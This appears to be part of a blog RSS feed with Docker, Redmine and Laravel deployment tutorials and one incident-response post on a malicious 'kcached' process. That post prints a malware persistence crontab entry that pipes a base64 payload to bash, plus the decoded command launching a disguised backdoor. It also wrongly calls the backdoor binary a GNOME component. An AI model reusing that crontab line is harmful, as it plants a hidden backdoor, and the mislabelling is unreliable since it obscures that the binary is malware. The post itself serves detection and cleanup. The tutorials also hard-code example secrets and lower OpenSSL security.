&lt;/div&gt;



&lt;p&gt;and then logout and login again to our server. Docker is ready!&lt;br&gt;
We can use this command below to start docker container when our server restart.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo systemctl enable docker.service
sudo systemctl enable containerd.service
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;docker container is enough for right now.&lt;/p&gt;

&lt;h2&gt;
  
  
  Create docker compose file
&lt;/h2&gt;

&lt;p&gt;We will create one docker compose file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nano docker-compose.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and paste this yaml code.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;version: '3.1'

services:
  nginx:
    # we use the latest of nginx as base
    image: nginx:latest
    restart: always
    # we expose port 80 and 443 to the public as our reverse proxy
    ports:
      - "80:80"
      - "443:443"
    volumes:
      # we link volume from host for nginx configuration
      - './nginx.conf:/etc/nginx/conf.d/nginx.conf'
      # we link volume from host for nginx certs
      - './certs:/etc/nginx/certs'
      # we link also timezone from the host
      - '/etc/localtime:/etc/localtime:ro'
      - '/etc/timezone:/etc/timezone:ro'
    depends_on:
      # we will wait until server redmine is ready
      - redmine
  redmine:
    # we use redmine from dockerhub as base
    image: redmine
    restart: always
    volumes:
      # we link redmine data to our local storage, so it will persistent when
      # the service redmine restarted
      - 'redmine_data:/usr/src/redmine/files'
      # we link redmine plugin also from the host
      - '/home/bkn/redmine_plugins:/usr/src/redmine/plugins'
      # we link also timezone from the host
      - '/etc/localtime:/etc/localtime:ro'
      - '/etc/timezone:/etc/timezone:ro'
    # we don't expose port on this service because nginx service will do
    # default port redmine expose internally is 3000
    #ports:
      #- 3000:3000
      #- 444:3000
    environment:
      # we create some env for redmine
      REDMINE_DB_MYSQL: db
      REDMINE_DB_PORT: 3306
      REDMINE_DB_DATABASE: redmine_db
      REDMINE_DB_USERNAME: redmine
      REDMINE_DB_PASSWORD: my_p@ssword
      REDMINE_SECRET_KEY_BASE: G75eddsecretkey
    # we will wait until db service is ready
    depends_on:
      - db
  db:
    # we use mysql server for redmine database
    image: mysql:8.0
    restart: always
    volumes:
      # we also link the database storage with volume we created below
      - 'mysql_data:/var/lib/mysql'
    environment:
      # we create some env for mysql
      MYSQL_USER: redmine
      MYSQL_PASSWORD: my_p@ssword
      MYSQL_RANDOM_ROOT_PASSWORD: 1
      MYSQL_ROOT_PASSWORD: JRFFHT534rth4u3!@#
      MYSQL_DATABASE: redmine_db

volumes:
  # we create two volume used by redmine and our database
  mysql_data:
    driver: local
  redmine_data:
    driver: local
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;next, we create nginx configuration file, same folder as docker-compose file&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nano nginx/nginx.conf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;server {
        listen 80;
        server_name proman.withenri.tech;
        location / {
            proxy_pass http://henri_redmine_1:3000;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
        }
    }
server {
        listen 443 ssl;
        server_name proman.withenri.tech;
        ssl_certificate /etc/nginx/certs/withenri.tech_chained.crt;
        ssl_certificate_key /etc/nginx/certs/withenri.tech.key;
        location / {
            proxy_pass http://henri_redmine_1:3000;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
        }
    }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and create folder called certs then place our certificates right there.&lt;/p&gt;

&lt;h2&gt;
  
  
  Create container
&lt;/h2&gt;

&lt;p&gt;let's run our docker compose file with command&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;docker-compose up -d
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;when we run this docker compose file, a network will created automatically and link three services (nginx, redmine, db) in those one network.&lt;/p&gt;

&lt;p&gt;we can check our container with command :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;docker ps -a
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and then test redmine application on our browser with port 80 and port 443 with https connection. use user 'admin' and password 'admin' for login on our redmine application.&lt;/p&gt;

&lt;p&gt;this article basically has same result when we installed on vps directly, refer to &lt;a href="https://dev.to/henri_sekeladi/how-to-install-redmine-with-mysql-on-ubuntu-2404-14ne"&gt;this article&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Hopefully this article helps you!&lt;/p&gt;

</description>
      <category>redmine</category>
      <category>docker</category>
      <category>mysql</category>
      <category>nginx</category>
    </item>
    <item>
      <title>Dockerfile for PHP Laravel</title>
      <dc:creator>Henri Sekeladi</dc:creator>
      <pubDate>Wed, 18 Sep 2024 04:05:49 +0000</pubDate>
      <link>https://dev.to/henri_sekeladi/dockerfile-for-php-laravel-c1</link>
      <guid>https://dev.to/henri_sekeladi/dockerfile-for-php-laravel-c1</guid>
      <description>&lt;p&gt;In this article we will create an Image of Docker Container for Laravel application. In the main folder of laravel, we created a folder called docker. Inside that folder we created some file configuration. In this case we use postgreSQL as database server.&lt;br&gt;
 &lt;br&gt;
Let's begin..&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Dockerfile&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Dockerfile located on the main laravel project. We used debian bullseye as base image.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# basic container
FROM php:8.3-fpm-bullseye

# setup user as root
USER root

# set working directory
WORKDIR /var/www

# install postgresql client 15
RUN apt-get update \
    &amp;amp;&amp;amp; apt-get -y install gnupg2 lsb-release wget curl \
    &amp;amp;&amp;amp; sh -c 'echo "deb http://apt.postgresql.org/pub/repos/apt $(lsb_release -cs)-pgdg main" &amp;gt; /etc/apt/sources.list.d/pgdg.list' \
    &amp;amp;&amp;amp; wget --quiet -O - https://www.postgresql.org/media/keys/ACCC4CF8.asc | apt-key add - \
    &amp;amp;&amp;amp; apt-get update

# install supervisor, postgresql libs and other libs of php
RUN apt-get install -y net-tools supervisor nginx -y \
    &amp;amp;&amp;amp; apt-get install -y libpq-dev libgmp-dev \
    &amp;amp;&amp;amp; apt-get install -y --no-install-recommends postgresql-client \
    # gd
    &amp;amp;&amp;amp; apt-get install -y libzip-dev zlib1g-dev libpng-dev \
    &amp;amp;&amp;amp; docker-php-ext-configure gd  \
    &amp;amp;&amp;amp; docker-php-ext-install gd \
    &amp;amp;&amp;amp; docker-php-ext-install gmp \
    # Install Postgre PDO
    &amp;amp;&amp;amp; docker-php-ext-configure pgsql -with-pgsql=/usr/local/pgsql \
    &amp;amp;&amp;amp; docker-php-ext-install pdo pdo_pgsql pgsql \
    # option for install mysql as database
    # &amp;amp;&amp;amp; docker-php-ext-install mysqli \
    # &amp;amp;&amp;amp; docker-php-ext-enable mysqli \
    # opcache
    &amp;amp;&amp;amp; docker-php-ext-enable opcache \
    # exif
    &amp;amp;&amp;amp; docker-php-ext-install exif \
    &amp;amp;&amp;amp; docker-php-ext-install sockets \
    &amp;amp;&amp;amp; docker-php-ext-install pcntl \
    &amp;amp;&amp;amp; docker-php-ext-install bcmath \
    # zip
    &amp;amp;&amp;amp; docker-php-ext-install zip \
    # clean repo
    &amp;amp;&amp;amp; apt-get autoclean -y \
    &amp;amp;&amp;amp; rm -rf /var/lib/apt/lists/* \
    &amp;amp;&amp;amp; rm -rf /tmp/pear/

# copy files of laravel
COPY . /var/www

# copy configuration of php, nginx and php-fpm
COPY ./docker/local.ini /usr/local/etc/php/local.ini
COPY ./docker/nginx.conf /etc/nginx/nginx.conf
COPY ./docker/www.conf /usr/local/etc/php-fpm.d/www.conf

# create log files
RUN touch /var/www/storage/logs/schedule.log
RUN touch /var/www/storage/logs/queue.log

# copy supervisor configuration
COPY ./docker/supervisord.conf /etc/supervisor/conf.d/

# setup composer and laravel
RUN curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer
RUN composer install --working-dir="/var/www"

# change level security of openssl
RUN sed -i 's/SECLEVEL=2/SECLEVEL=1/g' /etc/ssl/openssl.cnf

# generate passport keys if needed
#RUN php artisan passport:keys

#export port of the application
EXPOSE 80

# set permission on laravel directory
RUN chmod +rwx /var/www
RUN chown -R www-data:www-data /var/www/storage
RUN chown -R www-data:www-data /var/www/bootstrap
RUN chmod -R 775 /var/www/storage
RUN chmod -R 775 /var/www/bootstrap

RUN ["chmod", "+x", "docker/post_deploy.sh"]
CMD [ "sh", "docker/post_deploy.sh" ]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;local.ini&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;located on docker folder. Reconfigure &lt;code&gt;upload_max_filesize&lt;/code&gt; and some other value, included &lt;code&gt;memory_limit&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;upload_max_filesize=40M
post_max_size=40M
max_execution_time=180
memory_limit=-1
date.timezone = "Asia/Jakarta"
expose_php = off
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;nginx.conf&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;located on docker folder. We setup one serverblock as default nginx virtualhost.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;user root;
worker_processes  auto;

events {
    worker_connections  1024;
}

http {
    access_log    /dev/stdout;
    include       mime.types;
    default_type  application/octet-stream;

    server {
        # we use port 80 here to work with our docker config but you can configure it to any port you want, just remember to update the dockerfile accordingly
        listen 80;

        index index.php index.html;

        # your application here
        server_name app;

        error_log  /var/log/nginx/error.log;

        access_log /var/log/nginx/access.log;

        add_header X-Frame-Options "SAMEORIGIN" always;
        server_tokens off;
        add_header Strict-Transport-Security "max-age=31536000; includeSubdomains; preload";
        add_header X-XSS-Protection "1; mode=block";
        add_header Content-Security-Policy "default-src 'self' http: https: data: blob: 'unsafe-inline'" always;

        # this should be the path of your public folder in laravel which from our dockerfile it would be /var/www/public
        root /var/www/public;

        location ~ \.php$ {
         try_files $uri =404;
         fastcgi_split_path_info ^(.+\.php)(/.+)$;
               fastcgi_pass 127.0.0.1:9000;
               fastcgi_index index.php;
               include fastcgi_params;
               fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
               fastcgi_param PATH_INFO $fastcgi_path_info;
               fastcgi_buffering off;
        }

        location / {
         try_files $uri $uri/ /index.php?$query_string;
               gzip_static on;
        }
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;supervisord.conf&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;located on docker folder. We included supervisor configuration to run our queue on laravel application.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[program:schedule-run]
process_name=%(program_name)s_%(process_num)02d
command=/bin/bash -c "while [ true ]; do (php /var/www/artisan schedule:run --verbose --no-interaction &amp;amp;); sleep 60; done"
autostart=true
autorestart=true
user=www-data
numprocs=1
redirect_stderr=true
stdout_logfile=/var/www/storage/logs/schedule.log
stopwaitsecs=60

[program:test-01-worker]
process_name=%(program_name)s_%(process_num)02d
command=php /var/www/artisan queue:work --queue=listener,default --tries=10
autostart=true
autorestart=true
user=www-data
numprocs=2
redirect_stderr=true
stdout_logfile=/var/www/storage/logs/queue.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;&lt;a href="http://www.conf" rel="noopener noreferrer"&gt;www.conf&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;located on docker folder. We also reconfigure php-fpm configuration.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[www]
user = www-data
group = www-data
listen = 127.0.0.1:9000

pm = static
pm.max_children = 300
pm.start_servers = 40
pm.min_spare_servers = 20
pm.max_spare_servers = 60
pm.max_requests = 500
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;post_deploy.sh&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;located on docker folder. We run supervisor, php-fpm and nginx on this script.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#!/bin/sh

# update application cache
php artisan optimize

# start the application
supervisord -c  "/etc/supervisor/supervisord.conf" &amp;amp;&amp;amp; php-fpm -D &amp;amp;&amp;amp;  nginx -g "daemon off;"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Build the Image&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;docker build .

OR with tag

docker build -t sampleapp:v1 .
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Run a Container&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;docker container run -d -p 8080:80 [docker_image]
docker container run -d -p 8080:80 sampleapp:v1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Hopefully this article helps you!&lt;/p&gt;

</description>
      <category>dockerfile</category>
      <category>laravel</category>
      <category>docker</category>
    </item>
    <item>
      <title>How to deal with malicious kcached processes</title>
      <dc:creator>Henri Sekeladi</dc:creator>
      <pubDate>Tue, 10 Sep 2024 02:06:53 +0000</pubDate>
      <link>https://dev.to/henri_sekeladi/how-to-deal-with-malicious-kcached-processes-7gb</link>
      <guid>https://dev.to/henri_sekeladi/how-to-deal-with-malicious-kcached-processes-7gb</guid>
      <description>&lt;p&gt;&lt;a href="https://alltime.pp.ua/blog/how-to-deal-with-malicious-kcached-processes/" rel="noopener noreferrer"&gt;https://alltime.pp.ua/blog/how-to-deal-with-malicious-kcached-processes/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you find something like below on your server, be sure you’ve detected malicious activity.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;username 2156075 0.0 0.0 2848 2660 ? Ss Feb09 0:00 [kcached]
username 2156076 0.0 0.0 2852 2660 ? S Feb09 0:01 \_ [kcached]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can use the lsof command to determine which processes have the files open and whether they are being used for legitimate purposes. If you are unsure about the legitimacy of these files or the processes using them, it may be helpful to consult with a qualified system administrator or security expert.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root@server1 [~]# lsof -p 2156075
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
gs-dbus 2156075 username cwd DIR 253,1 4096 125184743 /home/username
gs-dbus 2156075 username rtd DIR 253,1 4096 211550638 /
gs-dbus 2156075 username txt REG 253,1 1118516 125174637 /home/username/.config/dbus/gs-dbus
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here you go:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ls -1 /home/username/.config/dbus/gs-dbus*
/home/username/.config/dbus/gs-dbus*
/home/username/.config/dbus/gs-dbus.dat
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The files you see appear to be related to the gs-dbus process, which is a component of the GNOME software suite that manages D-Bus connections for graphical applications. The files in question are likely configuration files and data files used by this process.&lt;/p&gt;

&lt;p&gt;It is not uncommon for these types of files to be owned by a user, especially if they are related to user-specific settings or configurations.&lt;/p&gt;

&lt;p&gt;Inspect crontab of the given user:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root@server1 [~]# crontab -lu username
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# DO NOT REMOVE THIS LINE. SEED PRNG. #gs-dbus-kernel
0 * * * * { echo L3Vzci9iaW4vcGtpbGwgLTAgLVUyNDM4IGdzLWRidXMgMj4vZGV2L251bGwgfHwgU0hFTEw9L3Vzci9sb2NhbC9jcGFuZWwvYmluL25vc2hlbGwgVEVSTT14dGVybS0yNTZjb2xvciBHU19BUkdTPS1rIC9ob21lL3VzZXJuYW1lLy5jb25maWcvZGJ1cy9ncy1kYnVzLmRhdCAtbGlxRCAvdXNyL2Jpbi9iYXNoIC1jIGV4ZWMgLWEgW2tjYWNoZWRdIC9ob21lL3VzZXJuYW1lLy5jb25maWcvZGJ1cy9ncy1kYnVzIDI+L2Rldi9udWxsCg==|base64 -d|bash;} 2&amp;gt;/dev/null #1b5b324a50524e47 &amp;gt;/dev/random # seed prng gs-dbus-kernel
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you decode the base64 line you will see more:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/usr/bin/pkill -0 -U2438 gs-dbus 2&amp;gt;/dev/null || SHELL=/usr/local/cpanel/bin/noshell TERM=xterm-256color GS_ARGS="-k /home/username/.config/dbus/gs-dbus.dat -liqD" /usr/bin/bash -c "exec -a '[kcached]' '/home/username/.config/dbus/gs-dbus'" 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Recommendations:&lt;/p&gt;

&lt;p&gt;– Don’t ignore the case&lt;br&gt;
– kill the processes&lt;br&gt;
– remove the files&lt;br&gt;
– remove the cron&lt;br&gt;
– reset all passwords for affected user&lt;br&gt;
– scan account additionally using some good scanner&lt;br&gt;
– notify the client&lt;/p&gt;

</description>
    </item>
    <item>
      <title>How to Install Redmine with MySQL on Ubuntu 24.04</title>
      <dc:creator>Henri Sekeladi</dc:creator>
      <pubDate>Tue, 10 Sep 2024 02:04:08 +0000</pubDate>
      <link>https://dev.to/henri_sekeladi/how-to-install-redmine-with-mysql-on-ubuntu-2404-14ne</link>
      <guid>https://dev.to/henri_sekeladi/how-to-install-redmine-with-mysql-on-ubuntu-2404-14ne</guid>
      <description>&lt;p&gt;Redmine is a flexible and open-source project management and issue-tracking web application. It is widely used for managing projects, tracking bugs, and handling tasks and deadlines. Developed using Ruby on Rails, Redmine is highly customizable and supports a wide range of features for team collaboration and project organization.&lt;/p&gt;

&lt;p&gt;Redmine is a popular alternative to commercial project management tools due to its flexibility, customization, and open-source nature.&lt;/p&gt;

&lt;p&gt;In this article we will install Redmine on VPS hosted on AWS EC2 Instance with MySQL as database server.&lt;/p&gt;

&lt;h2&gt;
  
  
  Connect to Server
&lt;/h2&gt;

&lt;p&gt;We can connect to server with SSH Client installed on my machine with Termius.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fduavvg42mk2nc9llynky.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fduavvg42mk2nc9llynky.png" alt="Termius Client" width="800" height="691"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;from CLI, we can use :&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ssh ubuntu -i private_key.pem ubuntu@ip_address_server&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;then we can check our OS detail.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;# cat /etc/os-release&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;before we installed any tools, we need to update our server.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;# apt update&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Install dependencies.
&lt;/h2&gt;

&lt;p&gt;First, we need to install some libraries and tools to support our installation.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;# apt install build-essential ruby-dev libxslt1-dev libmariadb-dev gnupg2 bison libbison-dev libgdbm-dev libncurses-dev libncurses5-dev libxml2-dev zlib1g-dev imagemagick libmagickwand-dev libreadline-dev libssl-dev libyaml-dev libsqlite3-dev sqlite3&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Create Redmine User
&lt;/h2&gt;

&lt;p&gt;We will create a new system user in this stage named “redmine.” To manage redmine application.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;# useradd -r -m -d /opt/redmine -s /bin/bash redmine&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Option /opt/redmine as its home directory, the command will create the user “redmine,” who should be able to execute shell commands. Additionally, we must set user www-data, the user of our web server, in our Redmine group.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;# usermod -aG redmine www-data&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Install Passenger and Nginx Webserver
&lt;/h2&gt;

&lt;p&gt;We will install Nginx as webserver for our redmine application.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;# apt install nginx&lt;/code&gt;&lt;br&gt;
&lt;code&gt;# service nginx start&lt;/code&gt;&lt;br&gt;
&lt;code&gt;# systemctl enable nginx&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;after we installed nginx, we neet to install passenger as webserver for ruby application.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# apt install -y dirmngr gnupg apt-transport-https ca-certificates curl
# curl https://oss-binaries.phusionpassenger.com/auto-software-signing-gpg-key.txt | gpg --dearmor | tee /etc/apt/trusted.gpg.d/phusion.gpg &amp;gt;/dev/null
# sh -c 'echo deb https://oss-binaries.phusionpassenger.com/apt/passenger noble main &amp;gt; /etc/apt/sources.list.d/passenger.list'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;then we update our packages and install module nginx with passenger&lt;/p&gt;

&lt;p&gt;&lt;code&gt;# apt update&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;# apt install libnginx-mod-http-passenger -y&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;lastly, restart our nginx server.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;# systemctl restart nginx&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Create virtualhost/ nginx server block
&lt;/h3&gt;

&lt;p&gt;We will create a virtual host in nginx configuration with domain name on it. In this case we use Route 53 from AWS to set our domain.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fagp68y77n1kgziswbq9d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fagp68y77n1kgziswbq9d.png" alt="Route 53 - Hosted Zone" width="800" height="470"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;# nano /etc/nginx/conf.d/redmine.withenri.tech.conf&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Insert this text below to our virtualhost.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;server {
listen 80;
server_name redmine.withenri.tech;

root /opt/redmine/public;

access_log /var/log/nginx/your_domain.com.access.log;
error_log /var/log/nginx/your_domain.com.error.log;

passenger_enabled on;
passenger_min_instances 1;
client_max_body_size 10m;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Save the file and exit from the nano editor. (ctrl + x then hit Enter)&lt;/p&gt;

&lt;p&gt;Restart our nginx server, after virtualhost configuration.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;systemctl restart nginx&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Install MySQL Database
&lt;/h2&gt;

&lt;p&gt;Next, we will install MySQL database server as storage data for our redmine application&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo apt install mysql-server -y&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Enable our database when server up.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;systemctl enable mysql&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;and then start our database server.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;systemctl start mysql&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;then login to our database with command.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo mysql&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;run command below to create database, user and add privileges.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mysql&amp;gt; CREATE DATABASE redminedb;
mysql&amp;gt; CREATE USER 'redmineuser'@'localhost' IDENTIFIED BY 'my_password';
mysql&amp;gt; GRANT ALL PRIVILEGES ON redminedb.* TO 'redmineuser'@'localhost';
mysql&amp;gt; FLUSH PRIVILEGES;
mysql&amp;gt; Exit
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Setup Redmine Application
&lt;/h2&gt;

&lt;p&gt;It is time to setup our redmine application code on our server. First, we need to download the source code.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;wget https://www.redmine.org/releases/redmine-5.1.3.tar.gz&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;tar -xzvf redmine-5.0.5.tar.gz -C /opt/redmine/ --strip-components=1&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;chown -R redmine: /opt/redmine/&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Let’s now move to the user “redmine.”&lt;/p&gt;

&lt;p&gt;&lt;code&gt;# su - redmine&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Next, we duplicate and rename some configuration.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ cp -a /opt/redmine/config/configuration.yml{.example,}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ cp -a /opt/redmine/config/database.yml{.example,}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ cp -a /opt/redmine/public/dispatch.fcgi{.example,}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;After the configuration copied, we change our database configuration.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ nano /opt/redmine/config/database.yml&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;don't forget to save the new database configuration. Press ctl + x and the hit Enter.&lt;/p&gt;

&lt;p&gt;Now we need to exit from user 'redmine'.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ exit&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;We back as &lt;code&gt;root&lt;/code&gt; user. &lt;/p&gt;

&lt;p&gt;run this command to install bundler.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cd /opt/redmine &amp;amp;&amp;amp; gem install bundler&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now we back again as user &lt;code&gt;redmine&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;# su - redmine&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Next, we proceed with installation process.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ bundle config set --local path 'vendor/bundle'&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ bundle install&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ bundle update&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;then generate key and database migration&lt;/p&gt;

&lt;p&gt;&lt;code&gt;bundle exec rake generate_secret_token&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;RAILS_ENV=production bundle exec rake db:migrate&lt;/code&gt;&lt;/p&gt;

